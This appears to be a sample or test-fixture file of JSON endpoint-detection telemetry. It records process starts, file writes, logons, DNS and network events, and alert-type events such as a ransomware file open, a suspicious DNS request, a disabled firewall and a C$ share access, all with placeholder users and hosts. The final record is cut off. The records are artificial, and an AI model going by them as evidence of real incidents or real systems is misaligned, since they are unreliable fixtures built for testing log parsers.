-{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"1016182570608","ContextThreadId":"37343520154472","ContextTimeStamp":"1604829512.519","DesiredAccess":"1179785","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"7a9c1c1610045d45a54bd6643ac12ea767a5020000000c00","FileObject":"18446670458156489088","Information":"1","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"16777312","ShareAccess":"5","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user11\\Downloads\\file.pptx","aid":"ffffffffac4148947ed68497e89f3308","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RansomwareOpenFile","id":"ffffffff-1111-11eb-9756-06fe7f8f682f","name":"RansomwareOpenFileV4","timestamp":"1604855242091"} -{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"13532","ConHostProcessId":"1731198143955","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"2030177841","ContextData":"","ContextProcessId":"1741732942772","ContextThreadId":"28523520529271","ContextTimeStamp":"1604855274.377","CycleTime":"473618996","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"0","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"0","GenericFileWrittenCount":"0","ImageSubsystem":"2","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"1406250","MaxThreadCount":"16","ModuleLoadCount":"72","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"1731198143955","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855154.465","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"18176","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"87419b84f34cdb13f699c0f0803c957e48c27ad83334fcad7bac9ad89c0a466f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"1741732942772","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-12-1-1647509123-1308660782-3901357462-3999411581","UserTime":"781250","aid":"fffffffffdab492a5a20cd0417395a73","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-b685-0241eaddc553","name":"EndOfProcessV14","timestamp":"1604855276657"} -{"AuthenticationId":"895027","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1786917081743","ContextThreadId":"31685015444484","ContextTimeStamp":"1604855317.892","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"0000000000000000be341bb58bc5f1f2a24339010200510e","FileObject":"18446636933702558240","IrpFlags":"1028","IsOnNetwork":"1","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"223989","TargetFileName":"\\Device\\Mup\\intranet.dev\\int\\Test.pptx","TokenType":"1","aid":"fffffffffa474d216472f3edb73c75ed","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"OoxmlFileWritten","id":"ffffffff-1111-11eb-9165-067ee18a7975","name":"OoxmlFileWrittenV11","timestamp":"1604855329571"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"439029805661","ContextThreadId":"273683743193497","ContextTimeStamp":"1604855351.158","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"50373","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffff1f924e228a807ea4c0f21b0b","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-85f5-02ab029194b9","name":"NetworkListenIP6V5","timestamp":"1604855351798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","ContextProcessId":"321365562189152025","ContextThreadId":"0","ContextTimeStamp":"1604846070.744","Entitlements":"15","SHA256HashData":"e1bed7598ffdecf63a4d240f8309b528fc45068c6cb8137a5090f3afeb57f29d","Size":"29646","TargetFileName":"/System/Library/CoreServices/SecurityAgentPlugins/HomeDirMechanism.bundle/Contents/MacOS/HomeDirMechanism/..namedfork/rsrc","VnodeModificationType":"10","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"AsepFileChange","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"AsepFileChangeMacV2","timestamp":"1604855355495"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"2932136","ContextThreadId":"36157339485804","ContextTimeStamp":"1604855191.803","EffectiveTransmissionClass":"2","Entitlements":"15","LogonTime":"","PasswordLastSet":"","UserLogonFlags":"1","UserName":"user7","UserSid":"S-1-5-10","aid":"ffffffffa5bd4efaa195a7132c576edc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed","id":"ffffffff-1111-11eb-aa5a-0207e26418af","name":"UserLogonFailedV1","timestamp":"1604855193422"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1858880895","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"56042872298","ContextTimeStamp":"1604855136.669","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","LocalPort":"49689","Protocol":"6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemotePort":"443","aid":"ffffffff6854438eb4181691ec47e43d","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-a889-061944805289","name":"NetworkConnectIP6V5","timestamp":"1604855199798"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"321382909294815631","ContextThreadId":"0","ContextTimeStamp":"1604853755.987","Entitlements":"15","SHA256HashData":"fa07e991e0c3f3661794bba39061433265162b10cd9036751941cc45e6a4b583","Size":"165","SourceFileName":"/Library/Application Support/JAMF/tmp/.dat.nosync2c98.VBwjsq","TargetFileName":"/Library/Application Support/JAMF/tmp/6B24D2B6-BC17-4470-8078-91A787A19478","aid":"ffffffffc07b49d6b7426e970523671a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8773-06939a2f0915","name":"NewExecutableRenamedMacV1","timestamp":"1604855213224"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321367236803434269","ContextTimeStamp":"1604855268.323","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"51076","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:0","RemotePort":"0","aid":"ffffffffa60a47af4ebd2a76070f0d4f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP6","id":"ffffffff-1111-11eb-9a50-0669ff09604d","name":"NetworkListenIP6MacV5","timestamp":"1604855268755"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ContextProcessId":"1611521722601","ContextThreadId":"53405065993811","ContextTimeStamp":"1604855280.307","DomainName":"raw.githubusercontent.com","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff6d724d38af99c628fb904626","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"SuspiciousDnsRequest","id":"ffffffff-1111-11eb-885e-02ac336efd4b","name":"SuspiciousDnsRequestV2","timestamp":"1604855323217"} -{"ConfigBuild":"100.3.0011603.1","ContextProcessId":"4492535979973","ContextThreadId":"14023068415125","ContextTimeStamp":"1604855315.034","DiskParentDeviceInstanceId":"PCI\\VEN_8086\u0026DEV_31E3\u0026SUBSYS_080C1028\u0026REV_03\\3\u002611583659\u00260\u002690","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeDeviceCharacteristics":"131072","VolumeDeviceObjectFlags":"134479872","VolumeDeviceType":"8","VolumeDriveLetter":"C:","VolumeFileSystemDevice":"\\Ntfs","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","VolumeFileSystemType":"2","VolumeIsEncrypted":"0","VolumeMountPoint":"\\??\\Volume{9b46da3f-ce44-432f-9230-c9201504bfd7}","VolumeName":"\\Device\\HarddiskVolume4","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","aid":"ffffffff1990483499a736373600eef7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeMounted","id":"ffffffff-1111-11eb-9be9-024459b713c5","name":"FsVolumeMountedV6","timestamp":"1604855329102"} -{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"321210562584146513","ContextTimeStamp":"1604855127.011","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"53","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffe5ff467b4f0c4fd41a4462bb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-ae74-065212970c5d","name":"NetworkListenIP4MacV5","timestamp":"1604855128936"} -{"AuthenticationId":"999","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855185.108","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume1\\Windows\\System32\\gpsvc.dll","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"219053851298","RpcClientThreadId":"22047924482692","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"gpsvc","TargetProcessId":"224116976578","TargetThreadId":"22920092479704","TokenType":"1","UserName":"user7","aid":"ffffffff59514ea68b4693ddfb9b6643","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStarted","id":"ffffffff-1111-11eb-860c-0606af112d55","name":"HostedServiceStartedV2","timestamp":"1604855184068"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextTimeStamp":"1604855299.018","EffectiveTransmissionClass":"3","Entitlements":"15","ServiceDisplayName":"wuauserv","TargetProcessId":"661455186053","TargetThreadId":"24238019995551","aid":"ffffffff2b5a4bf5afc6682595faa016","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostedServiceStopped","id":"ffffffff-1111-11eb-9b11-0602a5689467","name":"HostedServiceStoppedV1","timestamp":"1604855302512"} -{"AuthenticationId":"3443175","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"1091372257857","ContextThreadId":"36855848099771","ContextTimeStamp":"1604855227.625","DiskParentDeviceInstanceId":"PCI\\VEN_1179\u0026DEV_0113\u0026SUBSYS_00011179\u0026REV_01\\4\u00263ad42678\u00260\u002600E0","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"f5ce07c6af67ec4ebe0846ff200bfc2f54f7020000002100","FileObject":"18446603341701082336","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"288041","TargetFileName":"\\Device\\HarddiskVolume3\\Users\\user12\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\TempState\\Downloads\\ex.pdf.8e41hf8.partial","TokenType":"1","aid":"ffffffff32cb4abc50bc133b31a69946","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PdfFileWritten","id":"ffffffff-1111-11eb-baea-02dccfbb7779","name":"PdfFileWrittenV11","timestamp":"1604855264313"} -{"AuthenticationId":"3783389","CommandLine":"\"C:\\WINDOWS\\system32\\backgroundTaskHost.exe\" -ServerName:App.AppXnme9zjyebb2xnyygh6q9ev6p5d234br2.mca","ConfigBuild":"1007.3.0012309.1","ConfigStateHash":"3998263252","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\backgroundTaskHost.exe","ImageSubsystem":"2","IntegrityLevel":"4096","MD5HashData":"50d5fd1290d94d46acca0585311e74d5","ParentAuthenticationId":"3783389","ParentBaseFileName":"svchost.exe","ParentProcessId":"2439558094566","ProcessCreateFlags":"525332","ProcessEndTime":"","ProcessParameterFlags":"16385","ProcessStartTime":"1604855181.648","ProcessSxsFlags":"1600","RawProcessId":"22272","RpcClientProcessId":"2439558094566","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"b8e176fe76a1454a00c4af0f8bf8870650d9c33d3e333239a59445c5b35c9a37","SessionId":"1","SourceProcessId":"2439558094566","SourceThreadId":"77538684027214","Tags":"41, 12094627905582, 12094627906234","TargetProcessId":"2450046082233","TokenType":"2","UserSid":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","WindowFlags":"128","aid":"ffffffff655344736aca58d17fb570f0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-8462-02ade3b2f949","name":"ProcessRollup2V18","timestamp":"1604855182022"} -{"AuthenticationId":"326190744","AuthenticationUuid":"98467113-C771-4845-B71B-89B3CE9F93C9","AuthenticationUuidAsString":"13714698-71C7-4548-B71B-89B3CE9F93C9","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1457965279","Entitlements":"15","UID":"326190744","UserPrincipal":"user8@dom6","UserSid":"S-1-5-21-3629339319-2376021926-2724479216-652382488","aid":"ffffffff1f32487185fcde66a9dc0528","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-b9b4-063e98f9b19b","name":"UserIdentityMacV2","timestamp":"1604855355388"} -{"BootArgs":" NOEXECUTE=OPTIN HYPERVISORLAUNCHTYPE=AUTO FVEBOOT=2125824 NOVGA","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1874387338","EffectiveTransmissionClass":"0","Entitlements":"15","MachineDomain":"","aid":"ffffffffcdb543135e7fcdf8e5a8fbdb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"HostInfo","id":"ffffffff-1111-11eb-9bbd-061290dcd983","name":"HostInfoV2","timestamp":"1604855157555"} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"1604850899.164","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812"} -{"ConfigBuild":"1007.4.0009906.1","ConfigStateHash":"3429017943","ContextProcessId":"66426035996442255","ContextTimeStamp":"1604851098.548","Entitlements":"15","aid":"ffffffff899541b94b9adff8922aa70a","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"FirewallDisabled","id":"ffffffff-1111-11eb-9d4c-02f402df8c1f","name":"FirewallDisabledMacV1","timestamp":"1604851040625"} -{"AgentLoadFlags":"0","AgentLocalTime":"1636436839.9529998","AgentTimeOffset":"125.319","AgentVersion":"6.31.14404.0","BiosManufacturer":"Apple Inc.","BiosVersion":"1554.140.20.0.0 (iBridge: 18.16.14759.0.1,0)","ChassisType":"Laptop","City":"San Francisco","ComputerName":"mac1","ConfigBuild":"1007.4.0014404.1","ConfigIDBuild":"14404","Continent":"North America","Country":"United States","FalconGroupingTags":"-","FirstSeen":"1625682391.0","HostHiddenStatus":"Visible","MachineDomain":"none","OU":"none","PointerSize":"none","ProductType":"1","SensorGroupingTags":"-","ServicePackMajor":"none","SiteName":"none","SystemManufacturer":"Apple Inc.","SystemProductName":"MacBookPro16,2","Time":"1636448427.3539999","Timezone":"America/Los_Angeles","Version":"Big Sur (11.0)","aid":"fffffffffffaaaaaaaaabbbbbbbb","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022ff","event_platform":"Mac"} -{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","UTCTimestamp":"1604855134461"} -{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"6108","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all","ParentAuthenticationId":"29530993","TargetProcessId":"434985669758362104","ImageFileName":"\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe","SourceThreadId":"434985668331321297","Entitlements":"15","name":"ProcessRollup2V19","ProcessStartTime":"1660636868.576","ProcessParameterFlags":"24577","aid":"50deaa55144543089a1f463b568cdc53","cid":"1301ac65ae144fbb9689a8472f828c2e"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":133145666190000000,"EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} -{"ComputerName":"HQ-sadhkbasHS","CurrentLocalIP":"67.43.156.13","FirstDiscoveredDate":"1669625277.827","LastDiscoveredBy":"c1b74438660b44cfa93e24c9d44badab","LocalAddressIP4":"67.43.156.13","MAC":"AA-AA-AA-AA-AA-AA","MACPrefix":"AA-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"","__mv_aip":"$67.43.156.14$;$67.43.156.13$","__mv_discoverer_aid":"$4b8f58d3f5f040b3804d3820ca2aed67$;$c1b74438660b44cfa93e24c9d44badab$","__mv_discoverer_devicetype":"","_time":"1678931820.343","aip":"67.43.156.13 67.43.156.14 81.2.69.192","aipCount":"3","cid":"500c5073b4d7443688f4b32c5eeb295b","discovererCount":"2","discoverer_aid":"4b8f58d3f5f040b3804d3820ca2aed67 c1b74438660b44cfa93e24c9d44badab","discoverer_devicetype":"","localipCount":"1","subnet":"10.0"} -{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"666346415","ContextProcessId":"1717987648455","ContextThreadId":"55064470042288","ContextTimeStamp":"","EffectiveTransmissionClass":"3","Entitlements":"15","VolumeName":"\\Device\\HarddiskVolume27","aid":"ffffffff896b43725b83c79aa79959da","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"FsVolumeUnmounted","id":"ffffffff-1111-11eb-9f70-0634389d9ea9","name":"FsVolumeUnmountedV2","timestamp":"1604850899812","StartTime":133145665200000000,"EndTime":133145665200000000} -{"AuthenticationId":"703298","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2642284486","ContextProcessId":"1161025471861","ContextThreadId":"34929528116709","ContextTimeStamp":"1604851030.593","DiskParentDeviceInstanceId":"USB\\VID_1058\u0026PID_2621\\57583431453939315A4C5255","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"262fbc677256cf4c8d6c6a227285a072c06830873b000000","FileObject":"18446664963104449168","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"1","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","Size":"517029","TargetFileName":"c:\\Device\\HarddiskVolume5\\01.png.tmp$$","TokenType":"1","UserName":"user9","aid":"ffffffff16bf4c7bb5ad755a4722025c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"GenericFileWritten","id":"ffffffff-1111-11eb-800a-06cecfd73923","name":"GenericFileWrittenV11","timestamp":"1604851031298"} -{"UserIsAdmin": "1", "LogonTime": "1715078799.631", "UserSid": "S-1-5-21-1111-11111-387821029-2004", "event_platform": "Mac", "EffectiveTransmissionClass": "2", "timestamp": "1715078799943", "info": { "host": { "Timezone": "Asia/Kolkata", "ServicePackMajor": "none", "PointerSize": "none", "SiteName": "none", "AgentVersion": "7.14.18305.0", "Time": "1715074061.000", "MachineDomain": "none", "event_platform": "Mac", "AgentTimeOffset": "454032", "Version": "Ventura (13)", "AgentLoadFlags": "0", "BiosVersion": "none", "FalconGroupingTags": "none", "SystemProductName": "Mac14, 2", "OU": "none", "ProductType": "none", "City": "Bengaluru", "ConfigBuild": "1007.4.0018305.10", "SensorGroupingTags": "none", "Continent": "Asia", "FirstSeen": "1701672920.000", "HostHiddenStatus": "Visible", "BiosManufacturer": "none", "AgentLocalTime": "1714620029.775", "Country": "India", "ChassisType": "Other", "SystemManufacturer": "Apple Inc.", "ConfigIDBuild": "18305", "cid": "11d1d1d1dd1d1d1d1d1" }, "user": { "UserIsAdmin": "1", "monthsincereset": "3.0", "User": "USER-1-MACBOOK-AIR.LOCAL\\USER-1", "LogonTime": "1715076000.000", "PasswordLastSet": "1706789855.733", "LogonType": "Interactive", "AccountType": "Local", "LastLoggedOnHost": "User-1-MacBook-Air.local", "_time": "1715076916.290", "cid": "1d1d1d1d1d1d1d1d1" } }, "ContextTimeStamp": "1715078799.690", "UserName": "user-1", "ConfigStateHash": "821711964", "LogonType": "2", "AuthenticationId": "111112312312312321", "UserPrincipal": "user-1@User-1-MacBook-Air.local", "PasswordLastSet": "1706789855.733", "Entitlements": "15", "name": "UserLogonMacV1", "UserLogonFlags": "6", "UserGroupsBitmask": "0", "cid": "1d1d1d1d1d1d1d1d1"} -{"ActiveDirectoryAuthenticationMethod":"0","ActivityId":"E654B5F9-9FCD-4E9A-9F18-E433DB7ACBAC","AuthenticationActivityId":"0737DAC6-66AE-42DE-B10A-FD151AE99B86","ContextTimeStamp":"1715078799.690","SourceAccountDomain":"EXAMPLE.COM","SourceAccountObjectGuid":"62915660-5725-4B71-A494-46793F88877A","SourceAccountObjectSid":"S-1-5-21-333333333-333333333-3333333333-333333","SourceAccountSamAccountName":"bar","SourceEndpointAccountObjectGuid":"9FF5B4D9-4FAD-47E7-89C0-0B06299F0AE8","SourceEndpointAccountObjectSid":"S-1-5-21-222222222-222222222-2222222222-222222","SourceEndpointAddressIP4":"192.168.0.1","SourceEndpointHostName":"FOO","SourceEndpointNetworkTag":"AWS-XXX","SourceEndpointNetworkType":"1","TargetDomainControllerObjectGuid":"11111111-1111-1111-1111-111111111111","TargetDomainControllerObjectSid":"S-1-5-21-111111111-111111111-1111111111-111111","aip":"","cid":"11111111111111111111111111111111","event_platform":"Win","name":"ActiveDirectoryInteractiveDomainLogonV2","timestamp":"2024-08-01T11:31:27.123Z"} -{"event_simpleName":"SmbServerShareOpenedEtw","UserName":"person@dom1.com","RemoteAddressIP6":"0:0:0:0:0:0:0:1","ConfigStateHash":"1063377105","DomainName":"AzureAD","aip":"67.43.156.14","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","Entitlements":"15","name":"SmbServerShareOpenedEtwV1","EventOrigin":"17","id":"5df90d92-3d9f-44e5-a095-428decb3d3f3","SmbShareName":"C$","EffectiveTransmissionClass":"3","aid":"1152404d33614d3bbfe87a5fe7bac47b","timestamp":"1738009593697","cid":"ffffffff30a3407dae27d0503611022d"} -{"ContextBaseFileName":"SenseImdsCollector.exe","event_simpleName":"DnsRequest","ContextTimeStamp":"1738009377.497","ConfigStateHash":"138674525","ContextProcessId":"683613242245","DomainName":"metadata.google.internal","ContextThreadId":"31712204862362","aip":"67.43.156.14","QueryStatus":"9003","InterfaceIndex":"0","ConfigBuild":"1007.3.0019011.15","event_platform":"Win","DnsRequestCount":"1","DualRequest":"1","Entitlements":"15","name":"DnsRequestV5","EventOrigin":"1","id":"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407","EffectiveTransmissionClass":"3","aid":"31e92a267c044d57b1c1e14109079e89","timestamp":"1738009364034","cid":"ffffffff30a3407dae27d0503611022d","RequestType":"28"} -{"ProcessCreateFlags":"1024","IntegrityLevel":"8192","ParentProcessId":"434985540832797032","SourceProcessId":"434985540832797032","aip":"89.160.20.120","SHA1HashData":"0000000000000000000000000000000000000000","UserSid":"S-1-5-21-4084637156-299436391-3671333128-115430","event_platform":"Win","TokenType":"2","ProcessEndTime":"","ParentBaseFileName":"EmUser.exe","ImageSubsystem":"2","id":"9686a6b3-1d39-11ed-9370-0660bfa16adf","EffectiveTransmissionClass":"3","SessionId":"1","Tags":"25, 27, 862, 874, 924, 12094627905582, 12094627906234","timestamp":"1660636869410","event_simpleName":"ProcessRollup2","RawProcessId":"18446744072636268557","ConfigStateHash":"518095218","MD5HashData":"e570911fc2ab74ecf0dc59f324318f6e","SHA256HashData":"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2","ProcessSxsFlags":"64","AuthenticationId":"29530993","ConfigBuild":"1007.3.0015103.1","CommandLine":"\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" 